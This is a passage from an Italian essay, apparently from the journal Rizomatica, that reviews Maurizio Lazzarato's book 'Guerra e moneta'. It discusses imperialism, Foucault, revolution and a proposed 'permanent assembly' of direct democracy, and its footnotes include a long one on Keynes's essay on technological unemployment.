Ciò che ritengo più rilevante nel recente lavoro di Lazzarato è la sua capacità di guardare alla realtà senza infingimenti, denunciando lo sbandamento teorico a cui è andato incontro il pensiero critico occidentale in seguito all’abbandono di concetti invece imprescindibili per comprendere la reale natura del sistema capitalistico ed elaborare, di conseguenza, una strategia all’altezza delle necessità: i concetti di imperialismo, di guerra (come distruzione) e, per converso, di rivoluzione. L’assoluta preminenza della dimensione strategica propria dell’imperialismo che, a partire dalla Prima Guerra mondiale, caratterizza il sistema capitalistico, ha il suo drammatico contraltare nell’assoluta mancanza di questa dimensione, quella strategica appunto, nelle lotte di classe e nei movimenti antagonisti. In fondo, si tratta della stessa critica che gli accelerazionisti muovono ai movimenti post sessantotto, definendo la loro politica come “folk politics”12.
La biopolitica di Foucault, la microfisica dei poteri, la teoria della governamentalità, non sono errate ma hanno una vigenza limitata e subordinata rispetto alla politica di potenza e alle sue linee strategiche. L’errore sta nel considerare il neoliberalismo e i suoi processi di funzionamento come fattori primari e autonomi nella determinazione dei processi storici al posto dell’imperialismo e delle proprie specifiche dinamiche fondate sul binomio Stato-capitale, come avevano intuito Lenin e Luxemburg avendole potute osservare in atto, a differenza di Marx, a partire dalla Prima Guerra mondiale.
Rivoluzione
È quindi necessario recuperare una prospettiva e un punto di vista di classe se si intende porsi effettivamente sullo stesso piano su cui il capitalismo esercita la sua presa sul mondo, quello della strategia e della politica di potenza. Punto di vista significa soggettività. “La (volontà di) potenza del capitalismo è soggettività, processi di soggettivazione collettiva (famiglia, scuola, religione, mass-media), come è soggettività, processi collettivi di soggettivazione, la (volontà di) potenza che contrasta il potere fatta di operai, donne, razzializzati. Non si tratta di processi senza soggetto né tantomeno di tecniche di governamentalità ma di politiche e strategie da una parte e dall’altra della relazione.”
Ogni processo rivoluzionario ha bisogno di un soggetto emergente, di una nuova soggettività che, a partire dal proprio specifico “punto di vista”, quello degli oppressi, degli sfruttati, dei sottomessi, prende coscienza di questa condizione e organizza e attua la lotta necessaria per trasformarla. “La vera immanenza è solo questa, un punto di vista partigiano che riorganizza la visione del «tutto» partendo dalla sua oppressione per meglio attaccarlo. La «verità» del «tutto» non risiede nell’oggettività (una supposta neutralità) dell’analisi, ma può darsi solo a partire dal dispiegarsi della lotta, dalla volontà di prevalere sul nemico. … Partire dall’oppressione significa partire dal conflitto, porre il conflitto prima della produzione, le lotte di classe prima dei rapporti di produzione, la lotta prima delle forze produttive.”
Ciò che emerge in modo netto dall’analisi di Lazzarato è che condizione preliminare di ogni trasformazione rivoluzionaria è l’assunzione della consapevolezza che il capitalismo, attraverso l’imperialismo e il suo braccio politico, cioè il fascismo, impone la propria volontà senza remore o limiti e lo fa attraverso lo sfruttamento, l’oppressione sociale e, quando necessario, per mezzo della guerra o del genocidio. Ogni visione conciliatoria, che non si fondi sulla consapevolezza della natura insanabile del conflitto di classe e sulla presa d’atto del carattere implacabile dell’azione del potere, è incapace di fondare una reale prospettiva rivoluzionaria: “L’imperialismo, quando la macchina politico-economica di cattura (la governamentalità) non funziona secondo le sue aspettative, quando la totalizzazione diffusa e dispersa della governamentalità fallisce, non esita a scatenare, oggi come ieri, guerre di ogni genere e a rimettere in gioco nuovi e vecchi fascismi.”
È davvero rilevante e per noi preziosa, la drastica valutazione che Lazzarato fa della condizione dei movimenti in questa specifica fase della storia, nella quale, ancora una volta, la pura forza delle armi si mostra come elemento determinante le relazioni politiche ed economiche. Egli scrive: “I movimenti, più che essere consapevoli della discontinuità della nuova fase politica, sembrano esserci scaraventati dentro. Sembrano in generale voler continuare la politica della fase precedente, mentre gli spazi politici si chiudono, la governamentalità è sostituita dalle politiche dei nuovi fascismi che accompagnano nuove centralizzazioni del potere politico, economico e militare. La situazione li spinge comunque a praticare delle rotture radicali, delle vere e proprie rivolte e insurrezioni dentro le quali sono costretti a interrogarsi sul «che fare» con il potere costituito. … Comunque sia, la tradizione rivoluzionaria aveva colto una serie di continuità e discontinuità nel funzionamento del potere e del conflitto che i movimenti politici e il pensiero critico sembrano aver abbandonato.”
Come noto, l’opera di Foucault, in particolare dagli anni ’70 in poi, pone al centro la questione della microfisica dei poteri, dei rapporti gerarchici e delle così dette “istituzioni totali” (di nuovo, famiglia, chiesa, scuola, caserma, ospedale, manicomio) tipiche delle società disciplinari, si concentra, cioè, sulle così dette tecnologie del sé: la biopolitica. Questa sorta di lente di ingrandimento con la quale Foucault ha osservato le dinamiche sociali interpersonali e i loro rapporti con lo Stato, lo ha spinto a rimuovere o, comunque, a sottovalutare i processi macroscopici delle politiche di potenza che ciclicamente attraversano e trasformano il mondo, i nessi dominanti l’indissolubile rapporto tra potere ed economia che lo stesso Marx, per ragioni storiche, a differenza di Lenin e Luxemburg, ha ignorato.
Lazzarato attribuisce a Foucault la separazione, la rottura del nesso che relaziona la soggettività, individuale e collettiva, con l’oggettività del mondo, tra emancipazione e rivoluzione. Egli avrebbe rotto questo nesso che la tradizione rivoluzionaria aveva sempre ritenuto necessario, in tal modo compromettendo l’indispensabile biunivocità tra i processi soggettivi collettivi e le trasformazioni oggettive della realtà storica. Si è, cioè, concentrato sulle questioni afferenti alla libertà soggettiva, trascurando quelle riguardanti la liberazione collettiva (la governamentalità a scapito dell’imperialismo e, per converso, l’emancipazione a scapito della rivoluzione).
Il giudizio piuttosto severo, ma che non possiamo permetterci di ignorare, specialmente alla luce della misera condizione in cui versano le lotte e i movimenti oggi e della drammaticità dell’attuale frangente storico, di Lazzarato sull’opera di Foucault (ovviamente, si tratta di un giudizio ex-post, che beneficia del senno del poi), non tralascia di riconoscere i giusti meriti al filosofo francese. Egli scrive: “Foucault rompe con la continuità storica di emancipazione e rivoluzione per delle buone ragioni: la rivoluzione sembra, ogni volta, tradire l’emancipazione, sia nelle forme di organizzazione (gerarchiche, antidemocratiche, più o meno verticistiche) che negli obbiettivi (instaurazione di un nuovo “sistema di potere” anziché di una condizione di “rivoluzione permanente” egalitaria, un processo costituente che non si chiude, che non si compie nel passaggio, sempre invece verificatosi nelle rivoluzioni passate, da un potere costituente che si fa potere costituito13).
“Il movimento del ’68, nell’interpretazione di Maurice Blanchot, avrebbe operato nello stesso modo, funzionando così da matrice per i movimenti di emancipazione successivi: ha praticato una rottura senza darsi «mezzi politici per l’avvenire, senza poteri istituzionali». La separazione di emancipazione e rivoluzione che si potrebbe interpretare come «debolezza» sarebbe stata invece (secondo Blanchot) la sua «forza». Blanchot conclude apprendo a tutte le teorie destituenti contemporanee: il movimento non ha fallito ma si è «sovranamente realizzato». La rivoluzione sarebbe «dietro di noi». Deleuze a modo suo va nella stessa direzione: se le rivoluzioni finiscono sempre male il divenire rivoluzionario non ha bisogno della rivoluzione perché non finisce mai, è in continuo divenire. Una buona parte dei movimenti che si sono sviluppati dopo il ‘68 ha coscientemente o incoscientemente assunto la separazione tra emancipazione e rivoluzione come soluzione all’impasse e ai fallimenti della rivoluzione mondiale. Sicuramente non era possibile né desiderabile una ripetizione delle rivoluzioni socialiste ma una nuova rivoluzione era necessaria perché quello che non ci siamo lasciati alle spalle è la controrivoluzione capitalista che ha imposto, nell’ordine e nella restaurazione, nuovo fascismo, guerre civili, guerra. La sola cosa solidamente destituita è stata la forza e la tradizione del movimento rivoluzionario, senza sostituirgli niente di altrettanto efficace e radicale. Per cui i rapporti di potere tra le classi sono regrediti all’epoca pre-rivoluzione sovietica.”
Esplicitata e chiarita ulteriormente questa denuncia dello sbandamento teorico che ci avrebbe condotto alla debolezza e alle miserie attuali, Lazzarato torna per l’appunto al nostro presente e non gira intorno alla questione, non mancando di inserire una nota personale; egli è perentorio: “Ora, la crisi del 2008 ha aperto una nuova fase politica. Se nei movimenti del ‘68 la necessità di una nuova rivoluzione poteva anche non imporsi, oggi non sembra esserci altra via di uscita. Nella fase politica attuale dove la guerra o, meglio, le guerre diventano l’asse politico centrale, questa eredità sessantottina è pregiudiziale allo sviluppo delle lotte di classe. I compagni italiani mi prendono in giro perché parlo di rivoluzione ma la guerra non ha radicalizzato solo lo scontro tra imperialismi ma anche tra le classi. Le lotte più radicali, le insurrezioni e le rivolte si svolgono lontane dai loro occhi e quindi le vedono difficilmente.”
La parte conclusiva di Guerra e moneta è dedicata alla delineazione di una sorta di “teoria della rivoluzione”, dove molti elementi e fattori si integrano in un processo multiplo: fattori sociali, economici, politici contribuiscono a produrre una rottura rivoluzionaria. Vale la pena leggere ancora le sue parole: “La lotta tra le classi taglia il divenire infinito dei rapporti di potere (quel divenire rivoluzionario del soggetto che per Foucault sarebbe sufficiente e renderebbe inutile la rivoluzione), lo blocca, lo fa biforcare, facendolo sfociare nelle rivolte, nelle guerre, nelle rivoluzioni o in momenti di scontro che riconfigurano i rapporti di forza, disegnando una congiuntura che modifica, ogni volta, la posizione delle forze in gioco.
Non si dispone dei tempi dello scontro a proprio piacere, non si può decidere l’ora è il momento di una lotta, di un’insurrezione o di una rivolta: accadono, succedono, si producono. E quando accadono, succedono, si producono bisogna farsi trovare pronti, capaci di agire diverse temporalità. Il tempo esce dai suoi cardini, per cui lo scontro è sottomesso ad accelerazioni, a concentrazioni, all’emergere nel presente di possibili rivoluzionari non realizzati nel passato, a intensità «extra-ordinarie» che determinano dei cambiamenti repentini di congiuntura: non più il futuro della rivoluzione socialista ma il presente del farsi del soggetto rivoluzionario, il presente della lotta che dispiega la negazione affermando il salto dalle emancipazioni alla rivoluzione che apre il pluralismo delle rivoluzioni. …
Nel farsi della lotta, nel dispiegarsi dell’attacco portato contro il nemico e nel costituirsi contemporaneo del soggetto e della sua organizzazione, emerge la «coscienza» non come consapevolezza, comprensione astratta dei rapporti di potere, ma come necessità politica di elaborare una tattica e una strategia per rompere il blocco della forza nemica, per rimuovere l’ostacolo al dispiegarsi della costruzione del soggetto. La necessità del momento riflessivo (un rapporto a sé differente dal rapporto a sé dell’emancipazione) emerge in questo momento preciso e il suo risultato è un doppio sapere: un sapere strategico per battere il nemico, un sapere strategico per la costruzione del soggetto» che non sacrifichi l’emancipazione alla rivoluzione. Saperi nuovi, imprevedibili, non programmabili, che nascono dallo scontro, nello scontro.”
Emerge qui molto chiaramente nella tesi dell’autore come il momento rivoluzionario sia imprevedibile, non programmabile, imponderabile a priori e, nel contempo, la necessità di “farsi trovare pronti”, di liberarsi dalla temporalità imposta per forgiarne una propria del soggetto collettivo liberato, attuando una strategia che non sacrifichi l’emancipazione alla rivoluzione, cosa che ne comprometterebbe il senso, come è sempre avvenuto nelle rivoluzioni passate, che salvaguardi il soggetto che se invece schiacciato e compresso porterebbe a vanificare il reale valore e significato della rivoluzione stessa, condannandola al fallimento. Ci troviamo qui nel contempo nella condizione di non poter prevedere né tantomeno programmare i saperi necessari allo sviluppo del processo rivoluzionario e nella necessità di “farsi trovare pronti”. Sulla specifica necessità di farsi trovare pronti, tornerò in conclusione.
La «libertà» del soggetto (emancipazione) può dispiegarsi pienamente, completarsi e avere il proprio senso, solo se agita in parallelo alla «liberazione» della società dal giogo del potere (rivoluzione): non basta il lavoro sul sé, sul soggetto, serve anche il conflitto di classe e serve vincerlo. “L’emancipazione non basta a sé stessa! Le emancipazioni sono conflittuali ma non incompatibili con il capitalismo. … Insomma, ci sono molte emancipazioni ma una sola rivoluzione: Per poter fare delle emancipazioni altrettante rivoluzioni, è necessario passare per la rivoluzione.”
Tutti i movimenti, tutte le lotte devono convergere in un solo movimento, in una sola lotta se davvero intendono vincere, distruggere il potere del capitale e far nascere una nuova condizione, quella del (essere in) Comune, in cui “sociale” e “politico” vengono a coincidere.
“Per fare il molteplice bisogna passare per il dualismo del potere”: serve abbattere il potere senza prenderlo, senza sostituirvisi. Per attuare la rivoluzione quale processo permanente, senza conclusione, senza compimento, serve affrontare una serie di impossibilità: quella di “totalizzare e sintetizzare le lotte e le emancipazioni e quella di restare nella dispersione e nella sola differenza, impossibilità di non rivoltarsi sfidando il potere e impossibilità di prendere il potere, impossibilità di organizzare il passaggio dalla molteplicità al dualismo e impossibilità di restare nella sola molteplicità, impossibilità della coordinazione e centralizzazione e impossibilità di affrontare il nemico senza coordinazione e centralizzazione. Cozzare contro queste impossibilità è la condizione per creare il possibile della rivoluzione. La rivoluzione è l’impossibile che diventa possibile. …”
“La posta in gioco che si manifesta non sono più le emancipazioni. … La sfida nella rivoluzione si pone a un altro livello: negare il potere nemico e nello stesso tempo negare le classi delle donne, dei lavoratori, dei colonizzati create dalla macchina Stato-capitale attraverso le guerre di assoggettamento. Le classi devono essere soppresse se si vuole uscire dalla conflittualità (tra le diverse lotte, tra i diversi movimenti) e integrazione (dei movimenti nella macchina Stato-capitale) che le emancipazioni comunque implicano.”
Pensiero strategico collettivo
Sui limiti dei movimenti post ’68, Lazzarato scrive: “Nessuno ha elaborato una teoria della crisi (anche se sta nascendo una “critica del pensiero critico”), si è dotato di una concezione della funzione della guerra nello sviluppo e ristrutturazione del capitale e dello Stato.”
“I movimenti si sono assuefatti a un conflitto senza rivoluzione (cioè, fine a sé stesso, privo di sbocchi!). … Foucault dice che il «rapporto a sé» è la forma di opposizione principale al potere. Non c’è dunque più bisogno di una teoria del capitale e dello Stato, della rivoluzione o della guerra: è sufficiente un sapere delle forme di vita, del prendersi cura del rapporto a sé; invece, questi cambiamenti dell’accumulazione, delle classi, degli Stati, del loro rapporto, contano eccome: agiscono sulle forme di vita, riconfigurando, allargando o restringendo lo spazio politico delle emancipazioni e dei processi di soggettivazione.”
“Lasciamo la parola ancora a Foucault che, per l’ultima volta, utilizziamo come sintomo della difficoltà del pensiero critico confrontato con la congiuntura contemporanea della guerra. La stessa attitudine contraddittoria e ambigua che Foucault ha avuto rispetto alla guerra la possiamo ritrovare anche nel suo rapporto con la rivoluzione. Anche qui si tratta di punti di vista molto diffusi nel pensiero critico: la rivoluzione, come la guerra, fa parte del passato. Se Foucault finirà con cercare nella rivoluzione iraniana un modello alternativo non solo alla tradizione rivoluzionaria ma anche alla politica europea, non ha sempre pensato in questo modo. «Se la politica esiste dopo il XIX secolo e perché c’è stata la rivoluzione. Questa non è una specie, una regione di quella. La politica si situa sempre in rapporto alla rivoluzione». Affermazione rimossa, quando invece sarebbe stata molto utile per capire che l’imperialismo le tecniche ancillari della governamentalità si rapportano sempre e comunque alla rivoluzione che hanno sconfitto negli anni ‘70 e di cui sempre temono il ritorno. Possiamo invece condividere pienamente il seguito del testo: «Il ritorno della rivoluzione è il nostro problema (la nostra necessità), il ritorno della politica non può manifestarsi che con il ritorno della rivoluzione».”
“Senza rivoluzione non c’è politica: c’è amministrazione, c’è governance (dell’imperialismo), c’è capitalismo e guerra. Il nostro problema: per ritrovare la politica bisogna reinventare la rivoluzione, altrimenti il capitalismo e la sua governance evolveranno inesorabilmente, come stanno facendo, verso nuove forme di fascismo e di guerra da cui, senza rivoluzione, saremo schiacciati. È rispetto a questa tragica situazione che si tratta di elaborare un concetto di guerra, sapendo però che la guerra, prima di essere uno scontro armato, è una strategia politica che può diventare confronto violento tra forze ma non necessariamente.”
Con queste parole si conclude “Guerra e moneta” di Maurizio Lazzarato, un’opera, così come gli altri suoi recenti lavori, utile a ricollocarci rispetto al presente di guerra e fascismo dilagante in cui, nelle attuali condizioni, stiamo sprofondando senza possibilità non solo di una salvezza ma persino di impegnarci in una lotta all’altezza delle reali necessità. Ecco la ragione del sottotitolo di questo articolo: per agire sul reale è innanzitutto necessario comprenderlo, attraverso un’analisi lucida, senza infingimenti, senza edulcorazioni ma che sia in grado non solo di vedere il presente in tutta la sua brutalità e orrore ma anche di leggerlo quale manifestazione di un sistema strutturato, basato sul binomio Stato-capitale e che possiamo definire, con Lazzarato, ma anche con Lenin, Luxemburg e tutta la tradizione rivoluzionaria, imperialismo.
In più occasioni, nel corso di conferenze tenute da Lazzarato in vari luoghi del mondo, egli ha dichiarato di non avere ricette specifiche sulla leniniana questione del “che fare?”, cioè dell’imprescindibile problema dell’organizzazione, sia rivoluzionaria che pre e post-rivoluzionaria. Riprendiamo qui il tema del “farsi trovare pronti” cui abbiamo accennato in precedenza: al di là dell’imponderabilità dei processi di rottura a venire, delle rivolte, delle sommosse, dei conflitti di ogni genere che li sostanzieranno, la questione dell’organizzazione rimane in ogni caso imprescindibile, una sorta di convitato di pietra14.
Se il potere è da abbattere ma non da prendere, se si raccoglie quindi l’esigenza di un suo definitivo superamento nella direzione di una società finalmente senza classi, se si vuole la rivoluzione senza sacrificare a essa l’emancipazione, si comprende in pieno la necessità di dare vita a un’inedita forma di democrazia effettiva, radicale, inevitabilmente “diretta” e quindi la rilevanza della proposta di quella che, nei miei precedenti articoli su questa rivista, ho chiamato Assemblea permanente. Si tratta di un metodo i cui principi sono la propositività aperta a tutti i membri e il loro pari peso decisionale: una forma organizzativa in grado di dare espressione a forme di intelligenza collettiva e libero sviluppo e valorizzazione al general intellect.
Come ho già scritto in precedenti articoli su Rizomatica, non vedo alternative rispetto a questo nuovo “modus operandi” che di fatto rifonda lo stesso concetto di “Politica” in una forma del tutto inedita rispetto al passato. Si tratta di un vero e proprio salto paradigmatico che implica la trasformazione della soggettività nella direzione di una sua crescita e di un suo arricchimento. È l’assunzione individuale della responsabilità collettiva, è la fine del dualismo del potere e del binomio sociale/politico: queste due dimensioni sono portate a coincidere grazie al venir meno della delega della propria sovranità a rappresentanti politici di mestiere. È l’autonomia del sociale che prende il posto della pretesa autonomia del politico.
Si tratta di un processo tendenziale, senza compimento, un sistema dove l’architettura dell’infrastruttura informatica si emancipa dal dominio Stato-capitale per essere appropriata dalla moltitudine umana, con l’onere, per quest’ultima, di farsi garante di tutte le altre forme di vita che ancora popolano questo pianeta. È lo Stack descritto da Benjamin H. Bratton15 che si fa quel Red-Stack su cui ha acceso un flash Tiziana Terranova con il suo Red Stack attack!16.
La prospettiva di ritrovare, oggi, la capacità di elaborare un progetto strategico di abbattimento del capitalismo e di edificazione del Comune, con tutte le sue necessarie articolazioni tattiche, è direttamente connessa con la possibilità di dare voce alla moltitudine, di darle al contempo capacità di proposta (intelligenza collettiva a partire dal e a confluire nel general intellect) e di decisione (democrazia diretta). In questo senso, quello della progettazione, adozione, ed elaborazione senza termine di quella che ho chiamato, un nome come un altro, Assemblea permanente, sembrano emergere alcuni segnali positivi: i più recenti movimenti ecologisti, a trazione giovanile, da Extintion Rebellion a Friday for future, da Last Generation a Generation X, sembrano prendere sul serio la questione di come devono funzionare le loro organizzazioni, di come si avanzano le proposte e di come si decide su di esse. Sono questioni dirimenti, le regole da stabilire prima di iniziare il gioco, le premesse formali di ogni elaborazione sostanziale.
I venti di guerra che in questo momento spirano sempre più forti sull’Europa e sul mondo ci fanno comprendere quale sia la posta in gioco rispetto alla possibilità di dar vita a nuove e inedite forme di lotta e di azione in cui ad agire non sia più una sparuta avanguardia ma l’intera classe sociale degli oppressi, degli sfruttati, dei diseredati, di tutti coloro che, quando va bene, per sopravvivere devono accettare il ricatto del lavoro salariato, lavoro che oggi non ha più neppure il riconoscimento della dignità. C’è infatti bisogno di tutta l’intelligenza disponibile nella società per cercare di navigare questo mare periglioso verso un futuro desiderabile. Passare da un sistema politico basato sulla rappresentanza, tanto nell’ambito istituzionale che nel contesto dei movimenti, a un modello fondato sull’auto-rappresentanza costituisce un vero e proprio salto paradigmatico della “Politica” intesa come l’imprescindibile attività umana volta a regolare i rapporti sociali.
Rispetto alla prospettiva di una nuova guerra mondiale nella quale gli Stati Uniti tenteranno di difendere con le armi la propria leadership mondiale, il proprio dominio più o meno incontrastato sul mondo, sarebbe importante tentare di agire fin da subito, con il metodo dell’Assemblea permanente, nella direzione di una lotta di liberazione mondiale dal giogo delle macchine Stato-capitale, per rovesciare l’attuale spinta verso una guerra mondiale in una rivoluzione mondiale permanente in cui i molti popoli si riconoscano finalmente in una sola moltitudine, nell’intera umanità, parte anch’essa di un ecosistema planetario che ne è condizione stessa di esistenza.
Purtroppo, l’attuale “stato dell’arte” della democrazia diretta a livello mondiale ci mostra l’enorme ritardo nello sviluppo di questo nuovo paradigma politico. È probabile che l’accelerazione bellicista in atto ci ponga presto difronte al deflagrare di una guerra su vasta scala: in una simile circostanza è evidente che la sola opzione percorribile sia quella della diserzione e della resistenza antifascista, antimilitarista; ma resistere e sottrarsi non è sufficiente per costruire un nuovo futuro. Ecco perché, come opportunamente suggerisce Maurizio Lazzarato17, è importante “farsi trovare pronti”, disporre cioè di una nuova prospettiva aperta verso il futuro dell’umanità e dell’intero pianeta che la ospita.
Note
N.B.: Nel presente articolo, le numerose citazioni dal libro di Maurizio Lazzarato Guerra e moneta. Imperialismo del dollaro, neoliberalismo, rotture rivoluzionarie sono riportate tra virgolette e in corsivo. I miei inserti nelle citazioni tratte dal libro sono riportati tra parentesi.
1 – F. Braudel Storia e scienze sociali. La lunga durata. In Scritti sulla storia, Bompiani, 2001.
2 – I principali autori ad aver analizzato questo fondamentale passaggio trasformativo del capitalismo sono Bernard Paulré, Yann Moulier Boutang, Carlo Vercellone, Antonella Corsani, Andrea Fumagalli, a partire dalle attività del Laboratorio MATISSE-ISYS in seno alla Université Paris 1 Panthéon-Sorbonne.
3 – Cfr. Christian Marazzi Capitale & linguaggio. Dalla new economy all’economia di guerra, DeriveApprodi, 2002.
4 – Cfr. Bernard Stiegler La società automatica. L’avvenire del lavoro – Ed. Melteni – 2019. Per un significato più circostanziato del termine proletarizzazione in Stiegler, vedasi Fuori del Capitalocene. Dall’uomo indebitato all’uomo frugale pubblicato sul n° 6 di Rizomatica.
5 – Questo scritto è la trascrizione della Conferenza tenuta da Keynes a Madrid nel giugno del 1930. Trattasi di un testo certamente peculiare, con numerose affinità con l’ormai celebre “Frammento sulle macchine” di Karl Marx (Per un approfondimento su questo testo marxiano, vedasi il mio Se le macchine di Marx siamo noi.) Anche questo è un testo breve, intenso, insieme visionario e predittivo, proiettato in una realtà futura, che corrisponde al nostro presente, all’attualità. Vi si distinguono due parti, la prima nella quale l’autore mostra di essere figlio del suo tempo e della sua patria e dove emerge il suo economicismo privatistico e colonialistico, tipico del pensiero britannico dell’epoca e dell’approccio anglosassone ai temi della produzione e della ricchezza. Poi, però, nell’atto di proiettarsi nel futuro, nell’evidenziare le enormi potenzialità di emancipazione dell’umanità rese possibili dal progresso scientifico e dalle trasformazioni tecnologiche (su questo scrive: “Dal secolo XVI è incominciata, proseguendo con crescendo ininterrotto nel XVIII secolo, la grande era delle invenzioni scientifiche e tecniche che, dall’inizio del secolo XIX, ha avuto sviluppi incredibili: carbone, vapore, elettricità, petrolio, acciaio, gomma, cotone, industrie chimiche, macchine automatiche e sistemi di produzione di massa, telegrafo, stampa, Newton, Darwin, Einstein e migliaia di altre cose e uomini troppo famosi e troppo noti per essere ricordati” – si trova qui un richiamo, forse involontario, al concetto di “general intellect” introdotto da Marx proprio nel Frammento), il tenore del testo cambia profondamente: “Per il momento, la rapidità stessa di questa evoluzione ci mette a disagio e ci propone problemi di difficile soluzione. … siamo colpiti da una nuova malattia di cui alcuni lettori possono non conoscere ancora il nome, ma di cui sentiranno molto parlare nei prossimi anni: vale a dire la disoccupazione tecnologica. Il che significa che la disoccupazione dovuta alla scoperta di strumenti economizzatori di manodopera procede con ritmo più rapido di quello con cui riusciamo a trovare nuovi impieghi per la stessa manodopera.” Nel presentare il tema, ancor oggi di piena attualità, della “disoccupazione tecnologica”, Keynes propone anche il suo rimedio: “Per ancora molte generazioni l’istinto del vecchio Adamo rimarrà così forte in noi che avremo bisogno di un qualche lavoro per essere soddisfatti … dovremo adoperarci a far parti accurate di questo “pane” affinché il poco lavoro che ancora rimane sia distribuito fra quanta più gente possibile. Turni di tre ore e settimana lavorativa di quindici ore possono tenere a bada il problema per un buon periodo di tempo. Tre ore di lavoro al giorno, infatti, sono più che sufficienti per soddisfare il vecchio Adamo che è in ciascuno di noi.” Va detto che Keynes condiziona in modo ben preciso l’avverarsi di questa prospettiva di abbondanza; egli scrive: ”Il ritmo con cui possiamo raggiungere la nostra destinazione di beatitudine economica, dipenderà da quattro fattori: la nostra capacità di controllo demografico, la nostra determinazione nell’evitare guerre e conflitti civili, la nostra volontà di affidare alla scienza la direzione delle questioni che sono di sua stretta pertinenza, e il tasso di accumulazione in quanto determinato dal margine fra produzione e consumo. Una volta conseguiti i primi tre punti il quarto verrà da sé.” In realtà, dopo il 1930, si verificherà la tragedia di una Seconda Guerra mondiale e, dopo di essa, una rapida crescita demografica, mentre oggi si sta preparando, con solerzia e determinazione, un ennesimo conflitto su scala globale.
L’autore non trascura il tema tipicamente gorziano della mentalità lavorista in un mondo senza più il bisogno del lavoro: “… non esiste paese o popolo, a mio avviso, che possa guardare senza terrore all’era del tempo libero e dell’abbondanza. Per troppo tempo, infatti, siamo stati allenati a faticare anziché godere.” Questo problema è in realtà un falso-problema: la mentalità può mutare rapidamente nella misura in cui sia libera di diffondersi una cultura della dignità umana e del non-lavoro (salariato). Il vero problema oggi è la scarsità di risorse, tanto materiali che intellettuali, prodotta artificialmente dal potere al fine di garantire la creazione e tesaurizzazione di enormi patrimoni privati.
Ma ciò che vi è di più profondo e, per questo, apprezzabile del saggio di Keynes è la stigmatizzazione dell’avidità che connota la componente più bieca e nera dello spirito capitalistico: “Quando l’accumulazione di ricchezza non rivestirà più un significato sociale importante, interverranno profondi mutamenti nel codice morale. Dovremo saperci liberare di molti dei principi pseudomorali che ci hanno superstiziosamente angosciati per due secoli, e per i quali abbiamo esaltato come massime virtù le qualità umane più spiacevoli (È evidente qui il richiamo a quell’etica protestante che Max Weber assocerà allo spirito del capitalismo nella sua opera più mirabile). Dovremo avere il coraggio di assegnare alla motivazione “denaro” il suo vero valore. L’amore per il denaro come possesso, e distinto dall’amore per il denaro come mezzo per godere i piaceri della vita, sarà riconosciuto per quello che è: una passione morbosa, un po’ ripugnante, una di quelle propensioni a metà criminali e a metà patologiche che di solito si consegnano con un brivido allo specialista di malattie mentali. Impossibile qui non pensare all’egotismo patologico dei plutocrati che ci affamano, da Musk a Bezos, da Zuckerberg a Thiel.
Il saggio si conclude con una dichiarazione di umiltà e con uno schiaffo ironico alla presunzione e supponenza degli economisti (anche se il peggio, come oggi sappiamo, doveva ancora venire…): “… guardiamoci dal sopravvalutare l’importanza del problema economico o di sacrificare alle sue attuali necessità altre questioni di maggiore e più duratura importanza. Dovrebbe essere un problema da specialisti, come la cura dei denti. Se gli economisti riuscissero a farsi considerare gente umile, di competenza specifica, sul piano dei dentisti, sarebbe meraviglioso.” Una sorta di anticipazione della critica all’economicismo a cui Karl Polanyi dedicherà la sua intera opera.
Per concludere questa lunga nota, ritengo che il maggior limite del pensiero di Keynes, in chiave di una critica anticapitalista, sia il suo sistematico uso del “noi” con cui egli allude all’umanità tutta: manca, cioè, una prospettiva autenticamente “di classe” e la comprensione, forse la più avanzata acquisizione marxiana, che l’appartenenza di classe plasma la soggettività.
6 – Sulla strettissima relazione, sino alla congiunzione, di questi due termini, Stato e capitale, Toni Negri, nella raccolta di saggi uscita sotto il titolo La forma Stato. Per la critica dell’economia politica della Costituzione – Ed. Feltrinelli 1977, ci mostra come lo Stato, di fatto, agisca come capitalista generale.
7 – Sul tema delle disuguaglianze, è notevole la dovizia di dati che Thomas Piketty fornisce nel suo Il capitale nel XXI secolo, Bompiani, 2014.
8 – Scrive Lazzarato nella nota 5 a pag. 53 del suo Guerra e moneta. Imperialismo del dollaro, neoliberalismo, rotture rivoluzionarie Ed. DeriveApprodi 2023: “Non c’è potere che non si eserciti tramite obbiettivi e strategie, ma questo non vuol dire che questi ultimi risultino dalla scelta e dalle decisioni di un soggetto individuale (o collettivo) (di un comitato centrale degli affari). L’imperialismo del dollaro è definito dall’azione di una molteplicità di soggetti (economici, politici, militari), non necessariamente coordinati, con interessi anche diversi; è il frutto di una strategia che si fabbrica facendosi, attraverso errori e successi, sconfitte e vittorie che permettono di modificare, riconfigurare, calibrare il “progetto” mentre si sta realizzando. Ma ciò a partire da un obbiettivo chiave, da una volontà forte: battere la rivoluzione, sconfiggere il nemico politico che vi si annida. “Azione intenzionale non soggettiva” direbbe Foucault. Nell’imperialismo del dollaro ciò che è determinante non è il rapporto tra moneta e desiderio (Keynes ripreso da Deleuze e Guattari), ma tra moneta e strategia, tra dollaro e “volontà” politica americana.”
9 – È interessante l’interpretazione che Michele Kettmaier dà dell’evoluzione del rapporto tra Stato e Big Tech nell’epoca delle piattaforme; nell’articolo Il mondo non è un modello. Stato e imperi digitali, Kettmaier mostra come le odierne macchine Stato-capitale dispongano di inedite e sofisticate forme di integrazione e complementarità dei propri poli: lo Stato e le piattaforme proprietarie.
10 – Le quattro caratteristiche dell’imperialismo individuate da Lenin sono: 1) Finanziarizzazione dell’economia (rendita vs profitto; deindustrializzazione dell’Occidente); 2) Colonialismo (e neocolonialismo); 3) Centralizzazione (dello Stato: potenza; del capitale: profitto e, in misura crescente, rendita); 4) Guerra (di conquista, civile, tra Stati).
11 – In realtà, la convinzione di Lazzarato che il capitale non possa liberarsi dalle lotte di classe è fondata solo nella misura in cui la produzione (e la distruzione) passerà ancora attraverso il lavoro umano; in effetti oggi, in particolare con lo sviluppo dell’Intelligenza Artificiale, non si può affatto escludere un sistema capitalistico in grado di funzionare senza un significativo apporto di lavoro umano, dove il proletariato, nel migliore dei casi percettore di un reddito di sussistenza, sarebbe espulso dalla produzione e posto ai margini del processo sociale senza un ruolo politicamente rilevante e di fatto inutile ai fini dell’accumulazione capitalistica che, a quel punto, potrà basarsi solo sul “lavoro” delle macchine.
12 – Sulla critica accelerazionista a quella che Nick Srniceck e Alex Williams in Inventare il futuro – Per un mondo senza lavoro – Ed. Nero 2018, definiscono “folk politics”, rinvio al mio articolo Tecnopolitica per il comune. Red-Stack vs Automa capitalistico, uscito sul n° 5 di Rizomatica.
